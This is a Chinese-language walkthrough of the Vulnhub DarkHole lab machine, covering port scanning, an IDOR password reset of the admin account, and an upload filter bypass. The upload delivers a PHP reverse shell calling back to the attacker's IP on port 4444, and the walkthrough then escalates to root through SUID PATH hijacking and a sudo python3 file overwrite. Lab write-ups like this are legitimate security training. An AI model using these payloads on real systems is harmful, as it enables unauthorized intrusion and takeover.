【渗透测试】Vulnhub DarkHole
渗透环境
攻击机: IP: 192.168.216.129(Kali)
靶机: IP:192.168.216.130
靶机下载地址:https://www.vulnhub.com/entry/darkhole-1,724/
进行渗透
一、 获取端口信息
nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。
nmap -O -sV -p- -A 192.168.216.130

开放了22和80端口。
二、 寻找WEB漏洞
访问80端口,出现登录框,并且可以注册账户

注册test账户并登录,登陆后跳转到更改用户信息和密码的页面

猜测这里存在越权修改其他用户密码的漏洞,尝试修改自己的密码并抓包

发现有两个id,我们新建的用户id为2,那么原有的用户id应该1,尝试将body里的id修改为1,返回修改成功

猜测原来的用户名为admin,密码刚才我们已经成功修改为admin了,尝试登录

登录成功,且该页面有上传功能。经过测试,这里上传文件只对后缀名进行了过滤,当我们上传php后缀的文件时会失败,但是上传phtml后缀的文件是可以的。这里可以上传一句话木马用蚁剑进行连接,也可以直接上传反向连接的php代码,我们使用后者。
1.phtml内容如下
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>
让目标主机反向连接192.168.216.129(即攻击机)的4444端口
上传1.phtml,显示上传成功,并返回了上传文件的链接

点击红框中的File,跳转到以下URL
http://192.168.216.130/upload/1.phtml
接下来我们在kali上监听4444端口
nc -nlvp 4444
再次访问:http://192.168.216.130/upload/1.phtml

看到已经成功反弹了shell,当前用户是www-data
三、 提权
查看可以登录/bin/bash的用户
cat /etc/passwd | grep /bin/bash

当然也可以通过查看/home目录查看创建的用户
常规思路,查看具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null

发现可疑文件/home/john/toto,直接执行该文件

观察其输出,不难猜测,该文件调用了id命令,因此我们可以采用命令劫持的方式进行提权
echo 'chomd +s /bin/bash' > id #在当前文件夹下写一个id文件
chmod 777 id #更改权限
export PATH=/var/www/html/upload:$PATH #将当前路径加入环境变量
/home/john/toto #执行该文件,会调用我们重写的id

执行时发现我们的chmod +s命令发生了权限错误,即我们无法让自己写的id文件拥有SUID权限,那么只能先放弃在这里进行提权,先使用john的身份进行登录
echo '/bin/bash' > id
/home/john/toto
python3 -c 'import pty;pty.spawn("/bin/bash")' #创建交互式shell
看到我们已经以john的身份登录进来了。
在/home/john/下发现password文件

得到john用户的密码root123
查看John用户可执行的特权命令
sudo -l

看到John用户可以以root身份运行python3和file.py。
因此我们可以尝试修改file.py的内容
echo "import pty;pty.spawn('/bin/bash')" > file.py
当执行这个py文件时,会打开一个可交互的shell
接下来执行这个文件
sudo python3 /home/john/file.py

在这里有一个坑,当我们使用相对路径时会无法执行,使用绝对路径时才可以,我也不知道为啥
此时我们就已经拿到root权限了,flag在/root下,渗透结束

【渗透测试】Vulnhub DarkHole的更多相关文章
- [经验分享] OSCP 渗透测试认证
http://f4l13n5n0w.github.io/blog/2015/05/05/jing-yan-fen-xiang-oscp-shen-tou-ce-shi-ren-zheng/ “120天 ...
- Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装
Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装 一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...
- Kali Linux Web 渗透测试秘籍 中文版
第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...
- 渗透测试工具BurpSuite做网站的安全测试(基础版)
渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...
- 渗透测试-信息收集-c段收集
平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...
- xss之渗透测试
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...
- ms08-067漏洞--初识渗透测试--想必很多初学者都会遇到我文中提及的各种问题
最近读了一本书--<<渗透测试实践指南>>,测试了书中的一些例子后,开始拿ms08-067这个经典的严重漏洞练手,实践当中遇到诸多问题,好在一一解决了,获益匪浅. 在谷歌搜索的 ...
- 渗透测试工具Nmap从初级到高级使用教程
本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...
- chapter1 渗透测试与metasploit
网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...
- Kali Linux渗透测试实战 1.2 环境安装及初始化
1.2 环境安装及初始化 目录(?)[-] 环境安装及初始化 下载映像 安装虚拟机 安装Kali Linux 安装中文输入法 安装VirtualBox增强工具 配置共享目录和剪贴板 运行 Metasp ...
随机推荐
- manim边学边做--渐变生长
本篇介绍Manim中的渐变生长类的动画. 这类动画的特点是可以清晰地展示图形的生成过程.物体的运动变化,帮助我们更好地理解抽象概念和复杂结构. 渐变生长类的动画的主要有: GrowArrow:让箭头从 ...
- 中电金信:金Gien乐道 | 4月要闻速览,精彩再回顾
中国电子党组副书记.总经理李立功一行调研中电金信 4月10日,中国电子党组副书记.总经理李立功一行赴中电金信进行调研,深入听取了中电金信经营发展情况.研发工作及"源启"行业 ...
- windows 也支持右键复制文件名了
mac 有一个操作,alt + 右键,出现的菜单有复制路径一项.不用羡慕,现在 windows 也有这个功能了. Shift + 右键,"复制为路径":
- dubbo(一)spring schema拓展技术
https://blog.csdn.net/java_zldz_xuws/article/details/84648398 在阐述dubbo原理之前,我先介绍一下dubbo与spring怎么糅合在一块 ...
- 操作系统messages文件位置更改
问题现象 在遇到一个问题的时候需要查看操作系统的日志,但是到操作系统上的 /var/log/messages 文件中发现该文件已经很久没有刷新过了. 这个系统之前是做过安全加固的,我怀疑它改过操作系统 ...
- jQuery ajax - serializeArray() 方法 实例表单提交
serializeArray()在ajax表单提交时候非常方便获取元素 定义和用法 serializeArray() 方法通过序列化表单值来创建对象数组(名称和值). 您可以选择一个或多个表单元素(比 ...
- Qt编写物联网管理平台32-表格数据
一.前言 用表格来展示采集到的数据,是很多组态系统中最常见的方法,一个表格能够展示的数据特别多,在本系统中,默认做的也是通过表格的形式来展示数据,目前是将所有的设备放在一个表格中,后期可能按照不同控制 ...
- 微信后团队分享:微信后台基于Ray的分布式AI计算技术实践
本文由微信后台Astra项目团队分享,原题"Ray在微信AI计算中的大规模实践",下文进行了排版和内容优化. 1.引言 微信存在大量AI计算的应用场景,主要分为三种:流量分发.产品 ...
- ImageSharp:高性能跨平台.NET开源图形库
在.Net中,System.Drawing有平台限制的问题,如果需要跨平台就需要使用第三方库. 今天推荐一个.NET开源图形库,不依赖任何库,支持跨平台的图形库. 01 项目简介 ImageSharp ...
- docker和主机之间文件传输
docker和主机之间文件传输 1.从docker内部向主机传输文件 语法: docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|- 示例:将容器96f7 ...